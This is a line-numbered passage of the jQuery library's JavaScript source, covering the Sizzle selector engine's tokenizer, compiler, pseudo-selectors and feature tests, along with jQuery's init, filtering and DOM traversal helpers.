967 if (ret || support.disconnectedMatch || elem.document && elem.document.nodeType !== 11) {
968 return ret
969 }
970 } catch (e) {}
971 }
972 return Sizzle(expr, document, null, [elem]).length > 0
973 };
974 Sizzle.contains = function(context, elem) {
975 if ((context.ownerDocument || context) !== document) {
976 setDocument(context)
977 }
978 return contains(context, elem)
979 };
980 Sizzle.attr = function(elem, name) {
981 if ((elem.ownerDocument || elem) !== document) {
982 setDocument(elem)
983 }
984 var fn = Expr.attrHandle[name.toLowerCase()],
985 val = fn && hasOwn.call(Expr.attrHandle, name.toLowerCase()) ? fn(elem, name, !documentIsHTML) : undefined;
986 return val !== undefined ? val : support.attributes || !documentIsHTML ? elem.getAttribute(name) : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
987 };
988 Sizzle.error = function(msg) {
989 throw new Error("Syntax error, unrecognized expression: " + msg);
990 };
991 Sizzle.uniqueSort = function(results) {
992 var elem, duplicates = [],
993 j = 0,
994 i = 0;
995 hasDuplicate = !support.detectDuplicates;
996 sortInput = !support.sortStable && results.slice(0);
997 results.sort(sortOrder);
998 if (hasDuplicate) {
999 while ((elem = results[i++])) {
1000 if (elem === results[i]) {
1001 j = duplicates.push(i)
1002 }
1003 }
1004 while (j--) {
1005 results.splice(duplicates[j], 1)
1006 }
1007 }
1008 sortInput = null;
1009 return results
1010 };
1011 getText = Sizzle.getText = function(elem) {
1012 var node, ret = "",
1013 i = 0,
1014 nodeType = elem.nodeType;
1015 if (!nodeType) {
1016 while ((node = elem[i++])) {
1017 ret += getText(node)
1018 }
1019 } else if (nodeType === 1 || nodeType === 9 || nodeType === 11) {
1020 if (typeof elem.textContent === "string") {
1021 return elem.textContent
1022 } else {
1023 for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
1024 ret += getText(elem)
1025 }
1026 }
1027 } else if (nodeType === 3 || nodeType === 4) {
1028 return elem.nodeValue
1029 }
1030 return ret
1031 };
1032 Expr = Sizzle.selectors = {
1033 cacheLength: 50,
1034 createPseudo: markFunction,
1035 match: matchExpr,
1036 attrHandle: {},
1037 find: {},
1038 relative: {
1039 ">": {
1040 dir: "parentNode",
1041 first: true
1042 },
1043 " ": {
1044 dir: "parentNode"
1045 },
1046 "+": {
1047 dir: "previousSibling",
1048 first: true
1049 },
1050 "~": {
1051 dir: "previousSibling"
1052 }
1053 },
1054 preFilter: {
1055 "ATTR": function(match) {
1056 match[1] = match[1].replace(runescape, funescape);
1057 match[3] = (match[3] || match[4] || match[5] || "").replace(runescape, funescape);
1058 if (match[2] === "~=") {
1059 match[3] = " " + match[3] + " "
1060 }
1061 return match.slice(0, 4)
1062 },
1063 "CHILD": function(match) {
1064 match[1] = match[1].toLowerCase();
1065 if (match[1].slice(0, 3) === "nth") {
1066 if (!match[3]) {
1067 Sizzle.error(match[0])
1068 }
1069 match[4] = +(match[4] ? match[5] + (match[6] || 1) : 2 * (match[3] === "even" || match[3] === "odd"));
1070 match[5] = +((match[7] + match[8]) || match[3] === "odd")
1071 } else if (match[3]) {
1072 Sizzle.error(match[0])
1073 }
1074 return match
1075 },
1076 "PSEUDO": function(match) {
1077 var excess, unquoted = !match[6] && match[2];
1078 if (matchExpr["CHILD"].test(match[0])) {
1079 return null
1080 }
1081 if (match[3]) {
1082 match[2] = match[4] || match[5] || ""
1083 } else if (unquoted && rpseudo.test(unquoted) && (excess = tokenize(unquoted, true)) && (excess = unquoted.indexOf(")", unquoted.length - excess) - unquoted.length)) {
1084 match[0] = match[0].slice(0, excess);
1085 match[2] = unquoted.slice(0, excess)
1086 }
1087 return match.slice(0, 3)
1088 }
1089 },
1090 filter: {
1091 "TAG": function(nodeNameSelector) {
1092 var nodeName = nodeNameSelector.replace(runescape, funescape).toLowerCase();
1093 return nodeNameSelector === "*" ? function() {
1094 return true
1095 } : function(elem) {
1096 return elem.nodeName && elem.nodeName.toLowerCase() === nodeName
1097 }
1098 },
1099 "CLASS": function(className) {
1100 var pattern = classCache[className + " "];
1101 return pattern || (pattern = new RegExp("(^|" + whitespace + ")" + className + "(" + whitespace + "|$)")) && classCache(className, function(elem) {
1102 return pattern.test(typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "")
1103 })
1104 },
1105 "ATTR": function(name, operator, check) {
1106 return function(elem) {
1107 var result = Sizzle.attr(elem, name);
1108 if (result == null) {
1109 return operator === "!="
1110 }
1111 if (!operator) {
1112 return true
1113 }
1114 result += "";
1115 return operator === "=" ? result === check : operator === "!=" ? result !== check : operator === "^=" ? check && result.indexOf(check) === 0 : operator === "*=" ? check && result.indexOf(check) > -1 : operator === "$=" ? check && result.slice(-check.length) === check : operator === "~=" ? (" " + result.replace(rwhitespace, " ") + " ").indexOf(check) > -1 : operator === "|=" ? result === check || result.slice(0, check.length + 1) === check + "-" : false
1116 }
1117 },
1118 "CHILD": function(type, what, argument, first, last) {
1119 var simple = type.slice(0, 3) !== "nth",
1120 forward = type.slice(-4) !== "last",
1121 ofType = what === "of-type";
1122 return first === 1 && last === 0 ? function(elem) {
1123 return !!elem.parentNode
1124 } : function(elem, context, xml) {
1125 var cache, outerCache, node, diff, nodeIndex, start, dir = simple !== forward ? "nextSibling" : "previousSibling",
1126 parent = elem.parentNode,
1127 name = ofType && elem.nodeName.toLowerCase(),
1128 useCache = !xml && !ofType;
1129 if (parent) {
1130 if (simple) {
1131 while (dir) {
1132 node = elem;
1133 while ((node = node[dir])) {
1134 if (ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) {
1135 return false
1136 }
1137 }
1138 start = dir = type === "only" && !start && "nextSibling"
1139 }
1140 return true
1141 }
1142 start = [forward ? parent.firstChild : parent.lastChild];
1143 if (forward && useCache) {
1144 outerCache = parent[expando] || (parent[expando] = {});
1145 cache = outerCache[type] || [];
1146 nodeIndex = cache[0] === dirruns && cache[1];
1147 diff = cache[0] === dirruns && cache[2];
1148 node = nodeIndex && parent.childNodes[nodeIndex];
1149 while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
1150 if (node.nodeType === 1 && ++diff && node === elem) {
1151 outerCache[type] = [dirruns, nodeIndex, diff];
1152 break
1153 }
1154 }
1155 } else if (useCache && (cache = (elem[expando] || (elem[expando] = {}))[type]) && cache[0] === dirruns) {
1156 diff = cache[1]
1157 } else {
1158 while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
1159 if ((ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) && ++diff) {
1160 if (useCache) {
1161 (node[expando] || (node[expando] = {}))[type] = [dirruns, diff]
1162 }
1163 if (node === elem) {
1164 break
1165 }
1166 }
1167 }
1168 }
1169 diff -= last;
1170 return diff === first || (diff % first === 0 && diff / first >= 0)
1171 }
1172 }
1173 },
1174 "PSEUDO": function(pseudo, argument) {
1175 var args, fn = Expr.pseudos[pseudo] || Expr.setFilters[pseudo.toLowerCase()] || Sizzle.error("unsupported pseudo: " + pseudo);
1176 if (fn[expando]) {
1177 return fn(argument)
1178 }
1179 if (fn.length > 1) {
1180 args = [pseudo, pseudo, "", argument];
1181 return Expr.setFilters.hasOwnProperty(pseudo.toLowerCase()) ? markFunction(function(seed, matches) {
1182 var idx, matched = fn(seed, argument),
1183 i = matched.length;
1184 while (i--) {
1185 idx = indexOf(seed, matched[i]);
1186 seed[idx] = !(matches[idx] = matched[i])
1187 }
1188 }) : function(elem) {
1189 return fn(elem, 0, args)
1190 }
1191 }
1192 return fn
1193 }
1194 },
1195 pseudos: {
1196 "not": markFunction(function(selector) {
1197 var input = [],
1198 results = [],
1199 matcher = compile(selector.replace(rtrim, "$1"));
1200 return matcher[expando] ? markFunction(function(seed, matches, context, xml) {
1201 var elem, unmatched = matcher(seed, null, xml, []),
1202 i = seed.length;
1203 while (i--) {
1204 if ((elem = unmatched[i])) {
1205 seed[i] = !(matches[i] = elem)
1206 }
1207 }
1208 }) : function(elem, context, xml) {
1209 input[0] = elem;
1210 matcher(input, null, xml, results);
1211 input[0] = null;
1212 return !results.pop()
1213 }
1214 }),
1215 "has": markFunction(function(selector) {
1216 return function(elem) {
1217 return Sizzle(selector, elem).length > 0
1218 }
1219 }),
1220 "contains": markFunction(function(text) {
1221 text = text.replace(runescape, funescape);
1222 return function(elem) {
1223 return (elem.textContent || elem.innerText || getText(elem)).indexOf(text) > -1
1224 }
1225 }),
1226 "lang": markFunction(function(lang) {
1227 if (!ridentifier.test(lang || "")) {
1228 Sizzle.error("unsupported lang: " + lang)
1229 }
1230 lang = lang.replace(runescape, funescape).toLowerCase();
1231 return function(elem) {
1232 var elemLang;
1233 do {
1234 if ((elemLang = documentIsHTML ? elem.lang : elem.getAttribute("xml:lang") || elem.getAttribute("lang"))) {
1235 elemLang = elemLang.toLowerCase();
1236 return elemLang === lang || elemLang.indexOf(lang + "-") === 0
1237 }
1238 } while ((elem = elem.parentNode) && elem.nodeType === 1);
1239 return false
1240 }
1241 }),
1242 "target": function(elem) {
1243 var hash = window.location && window.location.hash;
1244 return hash && hash.slice(1) === elem.id
1245 },
1246 "root": function(elem) {
1247 return elem === docElem
1248 },
1249 "focus": function(elem) {
1250 return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex)
1251 },
1252 "enabled": function(elem) {
1253 return elem.disabled === false
1254 },
1255 "disabled": function(elem) {
1256 return elem.disabled === true
1257 },
1258 "checked": function(elem) {
1259 var nodeName = elem.nodeName.toLowerCase();
1260 return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected)
1261 },
1262 "selected": function(elem) {
1263 if (elem.parentNode) {
1264 elem.parentNode.selectedIndex
1265 }
1266 return elem.selected === true
1267 },
1268 "empty": function(elem) {
1269 for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
1270 if (elem.nodeType < 6) {
1271 return false
1272 }
1273 }
1274 return true
1275 },
1276 "parent": function(elem) {
1277 return !Expr.pseudos["empty"](elem)
1278 },
1279 "header": function(elem) {
1280 return rheader.test(elem.nodeName)
1281 },
1282 "input": function(elem) {
1283 return rinputs.test(elem.nodeName)
1284 },
1285 "button": function(elem) {
1286 var name = elem.nodeName.toLowerCase();
1287 return name === "input" && elem.type === "button" || name === "button"
1288 },
1289 "text": function(elem) {
1290 var attr;
1291 return elem.nodeName.toLowerCase() === "input" && elem.type === "text" && ((attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text")
1292 },
1293 "first": createPositionalPseudo(function() {
1294 return [0]
1295 }),
1296 "last": createPositionalPseudo(function(matchIndexes, length) {
1297 return [length - 1]
1298 }),
1299 "eq": createPositionalPseudo(function(matchIndexes, length, argument) {
1300 return [argument < 0 ? argument + length : argument]
1301 }),
1302 "even": createPositionalPseudo(function(matchIndexes, length) {
1303 var i = 0;
1304 for (; i < length; i += 2) {
1305 matchIndexes.push(i)
1306 }
1307 return matchIndexes
1308 }),
1309 "odd": createPositionalPseudo(function(matchIndexes, length) {
1310 var i = 1;
1311 for (; i < length; i += 2) {
1312 matchIndexes.push(i)
1313 }
1314 return matchIndexes
1315 }),
1316 "lt": createPositionalPseudo(function(matchIndexes, length, argument) {
1317 var i = argument < 0 ? argument + length : argument;
1318 for (; --i >= 0;) {
1319 matchIndexes.push(i)
1320 }
1321 return matchIndexes
1322 }),
1323 "gt": createPositionalPseudo(function(matchIndexes, length, argument) {
1324 var i = argument < 0 ? argument + length : argument;
1325 for (; ++i < length;) {
1326 matchIndexes.push(i)
1327 }
1328 return matchIndexes
1329 })
1330 }
1331 };
1332 Expr.pseudos["nth"] = Expr.pseudos["eq"];
1333 for (i in {
1334 radio: true,
1335 checkbox: true,
1336 file: true,
1337 password: true,
1338 image: true
1339 }) {
1340 Expr.pseudos[i] = createInputPseudo(i)
1341 }
1342 for (i in {
1343 submit: true,
1344 reset: true
1345 }) {
1346 Expr.pseudos[i] = createButtonPseudo(i)
1347 }
1348
1349 function setFilters() {}
1350 setFilters.prototype = Expr.filters = Expr.pseudos;
1351 Expr.setFilters = new setFilters();
1352 tokenize = Sizzle.tokenize = function(selector, parseOnly) {
1353 var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[selector + " "];
1354 if (cached) {
1355 return parseOnly ? 0 : cached.slice(0)
1356 }
1357 soFar = selector;
1358 groups = [];
1359 preFilters = Expr.preFilter;
1360 while (soFar) {
1361 if (!matched || (match = rcomma.exec(soFar))) {
1362 if (match) {
1363 soFar = soFar.slice(match[0].length) || soFar
1364 }
1365 groups.push((tokens = []))
1366 }
1367 matched = false;
1368 if ((match = rcombinators.exec(soFar))) {
1369 matched = match.shift();
1370 tokens.push({
1371 value: matched,
1372 type: match[0].replace(rtrim, " ")
1373 });
1374 soFar = soFar.slice(matched.length)
1375 }
1376 for (type in Expr.filter) {
1377 if ((match = matchExpr[type].exec(soFar)) && (!preFilters[type] || (match = preFilters[type](match)))) {
1378 matched = match.shift();
1379 tokens.push({
1380 value: matched,
1381 type: type,
1382 matches: match
1383 });
1384 soFar = soFar.slice(matched.length)
1385 }
1386 }
1387 if (!matched) {
1388 break
1389 }
1390 }
1391 return parseOnly ? soFar.length : soFar ? Sizzle.error(selector) : tokenCache(selector, groups).slice(0)
1392 };
1393
1394 function toSelector(tokens) {
1395 var i = 0,
1396 len = tokens.length,
1397 selector = "";
1398 for (; i < len; i++) {
1399 selector += tokens[i].value
1400 }
1401 return selector
1402 }
1403
1404 function addCombinator(matcher, combinator, base) {
1405 var dir = combinator.dir,
1406 checkNonElements = base && dir === "parentNode",
1407 doneName = done++;
1408 return combinator.first ? function(elem, context, xml) {
1409 while ((elem = elem[dir])) {
1410 if (elem.nodeType === 1 || checkNonElements) {
1411 return matcher(elem, context, xml)
1412 }
1413 }
1414 } : function(elem, context, xml) {
1415 var oldCache, outerCache, newCache = [dirruns, doneName];
1416 if (xml) {
1417 while ((elem = elem[dir])) {
1418 if (elem.nodeType === 1 || checkNonElements) {
1419 if (matcher(elem, context, xml)) {
1420 return true
1421 }
1422 }
1423 }
1424 } else {
1425 while ((elem = elem[dir])) {
1426 if (elem.nodeType === 1 || checkNonElements) {
1427 outerCache = elem[expando] || (elem[expando] = {});
1428 if ((oldCache = outerCache[dir]) && oldCache[0] === dirruns && oldCache[1] === doneName) {
1429 return (newCache[2] = oldCache[2])
1430 } else {
1431 outerCache[dir] = newCache;
1432 if ((newCache[2] = matcher(elem, context, xml))) {
1433 return true
1434 }
1435 }
1436 }
1437 }
1438 }
1439 }
1440 }
1441
1442 function elementMatcher(matchers) {
1443 return matchers.length > 1 ? function(elem, context, xml) {
1444 var i = matchers.length;
1445 while (i--) {
1446 if (!matchers[i](elem, context, xml)) {
1447 return false
1448 }
1449 }
1450 return true
1451 } : matchers[0]
1452 }
1453
1454 function multipleContexts(selector, contexts, results) {
1455 var i = 0,
1456 len = contexts.length;
1457 for (; i < len; i++) {
1458 Sizzle(selector, contexts[i], results)
1459 }
1460 return results
1461 }
1462
1463 function condense(unmatched, map, filter, context, xml) {
1464 var elem, newUnmatched = [],
1465 i = 0,
1466 len = unmatched.length,
1467 mapped = map != null;
1468 for (; i < len; i++) {
1469 if ((elem = unmatched[i])) {
1470 if (!filter || filter(elem, context, xml)) {
1471 newUnmatched.push(elem);
1472 if (mapped) {
1473 map.push(i)
1474 }
1475 }
1476 }
1477 }
1478 return newUnmatched
1479 }
1480
1481 function setMatcher(preFilter, selector, matcher, postFilter, postFinder, postSelector) {
1482 if (postFilter && !postFilter[expando]) {
1483 postFilter = setMatcher(postFilter)
1484 }
1485 if (postFinder && !postFinder[expando]) {
1486 postFinder = setMatcher(postFinder, postSelector)
1487 }
1488 return markFunction(function(seed, results, context, xml) {
1489 var temp, i, elem, preMap = [],
1490 postMap = [],
1491 preexisting = results.length,
1492 elems = seed || multipleContexts(selector || "*", context.nodeType ? [context] : context, []),
1493 matcherIn = preFilter && (seed || !selector) ? condense(elems, preMap, preFilter, context, xml) : elems,
1494 matcherOut = matcher ? postFinder || (seed ? preFilter : preexisting || postFilter) ? [] : results : matcherIn;
1495 if (matcher) {
1496 matcher(matcherIn, matcherOut, context, xml)
1497 }
1498 if (postFilter) {
1499 temp = condense(matcherOut, postMap);
1500 postFilter(temp, [], context, xml);
1501 i = temp.length;
1502 while (i--) {
1503 if ((elem = temp[i])) {
1504 matcherOut[postMap[i]] = !(matcherIn[postMap[i]] = elem)
1505 }
1506 }
1507 }
1508 if (seed) {
1509 if (postFinder || preFilter) {
1510 if (postFinder) {
1511 temp = [];
1512 i = matcherOut.length;
1513 while (i--) {
1514 if ((elem = matcherOut[i])) {
1515 temp.push((matcherIn[i] = elem))
1516 }
1517 }
1518 postFinder(null, (matcherOut = []), temp, xml)
1519 }
1520 i = matcherOut.length;
1521 while (i--) {
1522 if ((elem = matcherOut[i]) && (temp = postFinder ? indexOf(seed, elem) : preMap[i]) > -1) {
1523 seed[temp] = !(results[temp] = elem)
1524 }
1525 }
1526 }
1527 } else {
1528 matcherOut = condense(matcherOut === results ? matcherOut.splice(preexisting, matcherOut.length) : matcherOut);
1529 if (postFinder) {
1530 postFinder(null, results, matcherOut, xml)
1531 } else {
1532 push.apply(results, matcherOut)
1533 }
1534 }
1535 })
1536 }
1537
1538 function matcherFromTokens(tokens) {
1539 var checkContext, matcher, j, len = tokens.length,
1540 leadingRelative = Expr.relative[tokens[0].type],
1541 implicitRelative = leadingRelative || Expr.relative[" "],
1542 i = leadingRelative ? 1 : 0,
1543 matchContext = addCombinator(function(elem) {
1544 return elem === checkContext
1545 }, implicitRelative, true),
1546 matchAnyContext = addCombinator(function(elem) {
1547 return indexOf(checkContext, elem) > -1
1548 }, implicitRelative, true),
1549 matchers = [function(elem, context, xml) {
1550 var ret = (!leadingRelative && (xml || context !== outermostContext)) || ((checkContext = context).nodeType ? matchContext(elem, context, xml) : matchAnyContext(elem, context, xml));
1551 checkContext = null;
1552 return ret
1553 }];
1554 for (; i < len; i++) {
1555 if ((matcher = Expr.relative[tokens[i].type])) {
1556 matchers = [addCombinator(elementMatcher(matchers), matcher)]
1557 } else {
1558 matcher = Expr.filter[tokens[i].type].apply(null, tokens[i].matches);
1559 if (matcher[expando]) {
1560 j = ++i;
1561 for (; j < len; j++) {
1562 if (Expr.relative[tokens[j].type]) {
1563 break
1564 }
1565 }
1566 return setMatcher(i > 1 && elementMatcher(matchers), i > 1 && toSelector(tokens.slice(0, i - 1).concat({
1567 value: tokens[i - 2].type === " " ? "*" : ""
1568 })).replace(rtrim, "$1"), matcher, i < j && matcherFromTokens(tokens.slice(i, j)), j < len && matcherFromTokens((tokens = tokens.slice(j))), j < len && toSelector(tokens))
1569 }
1570 matchers.push(matcher)
1571 }
1572 }
1573 return elementMatcher(matchers)
1574 }
1575
1576 function matcherFromGroupMatchers(elementMatchers, setMatchers) {
1577 var bySet = setMatchers.length > 0,
1578 byElement = elementMatchers.length > 0,
1579 superMatcher = function(seed, context, xml, results, outermost) {
1580 var elem, j, matcher, matchedCount = 0,
1581 i = "0",
1582 unmatched = seed && [],
1583 setMatched = [],
1584 contextBackup = outermostContext,
1585 elems = seed || byElement && Expr.find["TAG"]("*", outermost),
1586 dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
1587 len = elems.length;
1588 if (outermost) {
1589 outermostContext = context !== document && context
1590 }
1591 for (; i !== len && (elem = elems[i]) != null; i++) {
1592 if (byElement && elem) {
1593 j = 0;
1594 while ((matcher = elementMatchers[j++])) {
1595 if (matcher(elem, context, xml)) {
1596 results.push(elem);
1597 break
1598 }
1599 }
1600 if (outermost) {
1601 dirruns = dirrunsUnique
1602 }
1603 }
1604 if (bySet) {
1605 if ((elem = !matcher && elem)) {
1606 matchedCount--
1607 }
1608 if (seed) {
1609 unmatched.push(elem)
1610 }
1611 }
1612 }
1613 matchedCount += i;
1614 if (bySet && i !== matchedCount) {
1615 j = 0;
1616 while ((matcher = setMatchers[j++])) {
1617 matcher(unmatched, setMatched, context, xml)
1618 }
1619 if (seed) {
1620 if (matchedCount > 0) {
1621 while (i--) {
1622 if (!(unmatched[i] || setMatched[i])) {
1623 setMatched[i] = pop.call(results)
1624 }
1625 }
1626 }
1627 setMatched = condense(setMatched)
1628 }
1629 push.apply(results, setMatched);
1630 if (outermost && !seed && setMatched.length > 0 && (matchedCount + setMatchers.length) > 1) {
1631 Sizzle.uniqueSort(results)
1632 }
1633 }
1634 if (outermost) {
1635 dirruns = dirrunsUnique;
1636 outermostContext = contextBackup
1637 }
1638 return unmatched
1639 };
1640 return bySet ? markFunction(superMatcher) : superMatcher
1641 }
1642 compile = Sizzle.compile = function(selector, match) {
1643 var i, setMatchers = [],
1644 elementMatchers = [],
1645 cached = compilerCache[selector + " "];
1646 if (!cached) {
1647 if (!match) {
1648 match = tokenize(selector)
1649 }
1650 i = match.length;
1651 while (i--) {
1652 cached = matcherFromTokens(match[i]);
1653 if (cached[expando]) {
1654 setMatchers.push(cached)
1655 } else {
1656 elementMatchers.push(cached)
1657 }
1658 }
1659 cached = compilerCache(selector, matcherFromGroupMatchers(elementMatchers, setMatchers));
1660 cached.selector = selector
1661 }
1662 return cached
1663 };
1664 select = Sizzle.select = function(selector, context, results, seed) {
1665 var i, tokens, token, type, find, compiled = typeof selector === "function" && selector,
1666 match = !seed && tokenize((selector = compiled.selector || selector));
1667 results = results || [];
1668 if (match.length === 1) {
1669 tokens = match[0] = match[0].slice(0);
1670 if (tokens.length > 2 && (token = tokens[0]).type === "ID" && support.getById && context.nodeType === 9 && documentIsHTML && Expr.relative[tokens[1].type]) {
1671 context = (Expr.find["ID"](token.matches[0].replace(runescape, funescape), context) || [])[0];
1672 if (!context) {
1673 return results
1674 } else if (compiled) {
1675 context = context.parentNode
1676 }
1677 selector = selector.slice(tokens.shift().value.length)
1678 }
1679 i = matchExpr["needsContext"].test(selector) ? 0 : tokens.length;
1680 while (i--) {
1681 token = tokens[i];
1682 if (Expr.relative[(type = token.type)]) {
1683 break
1684 }
1685 if ((find = Expr.find[type])) {
1686 if ((seed = find(token.matches[0].replace(runescape, funescape), rsibling.test(tokens[0].type) && testContext(context.parentNode) || context))) {
1687 tokens.splice(i, 1);
1688 selector = seed.length && toSelector(tokens);
1689 if (!selector) {
1690 push.apply(results, seed);
1691 return results
1692 }
1693 break
1694 }
1695 }
1696 }
1697 }(compiled || compile(selector, match))(seed, context, !documentIsHTML, results, rsibling.test(selector) && testContext(context.parentNode) || context);
1698 return results
1699 };
1700 support.sortStable = expando.split("").sort(sortOrder).join("") === expando;
1701 support.detectDuplicates = !!hasDuplicate;
1702 setDocument();
1703 support.sortDetached = assert(function(div1) {
1704 return div1.compareDocumentPosition(document.createElement("div")) & 1
1705 });
1706 if (!assert(function(div) {
1707 div.innerHTML = "<a href='#'></a>";
1708 return div.firstChild.getAttribute("href") === "#"
1709 })) {
1710 addHandle("type|href|height|width", function(elem, name, isXML) {
1711 if (!isXML) {
1712 return elem.getAttribute(name, name.toLowerCase() === "type" ? 1 : 2)
1713 }
1714 })
1715 }
1716 if (!support.attributes || !assert(function(div) {
1717 div.innerHTML = "<input/>";
1718 div.firstChild.setAttribute("value", "");
1719 return div.firstChild.getAttribute("value") === ""
1720 })) {
1721 addHandle("value", function(elem, name, isXML) {
1722 if (!isXML && elem.nodeName.toLowerCase() === "input") {
1723 return elem.defaultValue
1724 }
1725 })
1726 }
1727 if (!assert(function(div) {
1728 return div.getAttribute("disabled") == null
1729 })) {
1730 addHandle(booleans, function(elem, name, isXML) {
1731 var val;
1732 if (!isXML) {
1733 return elem[name] === true ? name.toLowerCase() : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
1734 }
1735 })
1736 }
1737 return Sizzle
1738 })(window);
1739 jQuery.find = Sizzle;
1740 jQuery.expr = Sizzle.selectors;
1741 jQuery.expr[":"] = jQuery.expr.pseudos;
1742 jQuery.unique = Sizzle.uniqueSort;
1743 jQuery.text = Sizzle.getText;
1744 jQuery.isXMLDoc = Sizzle.isXML;
1745 jQuery.contains = Sizzle.contains;
1746 var rneedsContext = jQuery.expr.match.needsContext;
1747 var rsingleTag = (/^<(\w+)\s*\/?>(?:<\/\1>|)$/);
1748 var risSimple = /^.[^:#\[\.,]*$/;
1749
1750 function winnow(elements, qualifier, not) {
1751 if (jQuery.isFunction(qualifier)) {
1752 return jQuery.grep(elements, function(elem, i) {
1753 return !!qualifier.call(elem, i, elem) !== not
1754 })
1755 }
1756 if (qualifier.nodeType) {
1757 return jQuery.grep(elements, function(elem) {
1758 return (elem === qualifier) !== not
1759 })
1760 }
1761 if (typeof qualifier === "string") {
1762 if (risSimple.test(qualifier)) {
1763 return jQuery.filter(qualifier, elements, not)
1764 }
1765 qualifier = jQuery.filter(qualifier, elements)
1766 }
1767 return jQuery.grep(elements, function(elem) {
1768 return (jQuery.inArray(elem, qualifier) >= 0) !== not
1769 })
1770 }
1771 jQuery.filter = function(expr, elems, not) {
1772 var elem = elems[0];
1773 if (not) {
1774 expr = ":not(" + expr + ")"
1775 }
1776 return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector(elem, expr) ? [elem] : [] : jQuery.find.matches(expr, jQuery.grep(elems, function(elem) {
1777 return elem.nodeType === 1
1778 }))
1779 };
1780 jQuery.fn.extend({
1781 find: function(selector) {
1782 var i, ret = [],
1783 self = this,
1784 len = self.length;
1785 if (typeof selector !== "string") {
1786 return this.pushStack(jQuery(selector).filter(function() {
1787 for (i = 0; i < len; i++) {
1788 if (jQuery.contains(self[i], this)) {
1789 return true
1790 }
1791 }
1792 }))
1793 }
1794 for (i = 0; i < len; i++) {
1795 jQuery.find(selector, self[i], ret)
1796 }
1797 ret = this.pushStack(len > 1 ? jQuery.unique(ret) : ret);
1798 ret.selector = this.selector ? this.selector + " " + selector : selector;
1799 return ret
1800 },
1801 filter: function(selector) {
1802 return this.pushStack(winnow(this, selector || [], false))
1803 },
1804 not: function(selector) {
1805 return this.pushStack(winnow(this, selector || [], true))
1806 },
1807 is: function(selector) {
1808 return !!winnow(this, typeof selector === "string" && rneedsContext.test(selector) ? jQuery(selector) : selector || [], false).length
1809 }
1810 });
1811 var rootjQuery, document = window.document,
1812 rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
1813 init = jQuery.fn.init = function(selector, context) {
1814 var match, elem;
1815 if (!selector) {
1816 return this
1817 }
1818 if (typeof selector === "string") {
1819 if (selector.charAt(0) === "<" && selector.charAt(selector.length - 1) === ">" && selector.length >= 3) {
1820 match = [null, selector, null]
1821 } else {
1822 match = rquickExpr.exec(selector)
1823 }
1824 if (match && (match[1] || !context)) {
1825 if (match[1]) {
1826 context = context instanceof jQuery ? context[0] : context;
1827 jQuery.merge(this, jQuery.parseHTML(match[1], context && context.nodeType ? context.ownerDocument || context : document, true));
1828 if (rsingleTag.test(match[1]) && jQuery.isPlainObject(context)) {
1829 for (match in context) {
1830 if (jQuery.isFunction(this[match])) {
1831 this[match](context[match])
1832 } else {
1833 this.attr(match, context[match])
1834 }
1835 }
1836 }
1837 return this
1838 } else {
1839 elem = document.getElementById(match[2]);
1840 if (elem && elem.parentNode) {
1841 if (elem.id !== match[2]) {
1842 return rootjQuery.find(selector)
1843 }
1844 this.length = 1;
1845 this[0] = elem
1846 }
1847 this.context = document;
1848 this.selector = selector;
1849 return this
1850 }
1851 } else if (!context || context.jquery) {
1852 return (context || rootjQuery).find(selector)
1853 } else {
1854 return this.constructor(context).find(selector)
1855 }
1856 } else if (selector.nodeType) {
1857 this.context = this[0] = selector;
1858 this.length = 1;
1859 return this
1860 } else if (jQuery.isFunction(selector)) {
1861 return typeof rootjQuery.ready !== "undefined" ? rootjQuery.ready(selector) : selector(jQuery)
1862 }
1863 if (selector.selector !== undefined) {
1864 this.selector = selector.selector;
1865 this.context = selector.context
1866 }
1867 return jQuery.makeArray(selector, this)
1868 };
1869 init.prototype = jQuery.fn;
1870 rootjQuery = jQuery(document);
1871 var rparentsprev = /^(?:parents|prev(?:Until|All))/,
1872 guaranteedUnique = {
1873 children: true,
1874 contents: true,
1875 next: true,
1876 prev: true
1877 };
1878 jQuery.extend({
1879 dir: function(elem, dir, until) {
1880 var matched = [],
1881 cur = elem[dir];
1882 while (cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery(cur).is(until))) {
1883 if (cur.nodeType === 1) {
1884 matched.push(cur)
1885 }
1886 cur = cur[dir]
1887 }
1888 return matched
1889 },
1890 sibling: function(n, elem) {
1891 var r = [];
1892 for (; n; n = n.nextSibling) {
1893 if (n.nodeType === 1 && n !== elem) {
1894 r.push(n)
1895 }
1896 }
1897 return r
1898 }
1899 });
1900 jQuery.fn.extend({
1901 has: function(target) {
1902 var i, targets = jQuery(target, this),
1903 len = targets.length;
1904 return this.filter(function() {
1905 for (i = 0; i < len; i++) {
1906 if (jQuery.contains(this, targets[i])) {
1907 return true
1908 }
1909 }
1910 })
1911 },
1912 closest: function(selectors, context) {
1913 var cur, i = 0,
1914 l = this.length,
1915 matched = [],
1916 pos = rneedsContext.test(selectors) || typeof selectors !== "string" ? jQuery(selectors, context || this.context) : 0;
1917 for (; i < l; i++) {
1918 for (cur = this[i]; cur && cur !== context; cur = cur.parentNode) {
1919 if (cur.nodeType < 11 && (pos ? pos.index(cur) > -1 : cur.nodeType === 1 && jQuery.find.matchesSelector(cur, selectors))) {
1920 matched.push(cur);
1921 break
1922 }
1923 }
1924 }
1925 return this.pushStack(matched.length > 1 ? jQuery.unique(matched) : matched)
1926 },
1927 index: function(elem) {
1928 if (!elem) {
1929 return (this[0] && this[0].parentNode) ? this.first().prevAll().length : -1
1930 }
1931 if (typeof elem === "string") {
1932 return jQuery.inArray(this[0], jQuery(elem))
1933 }
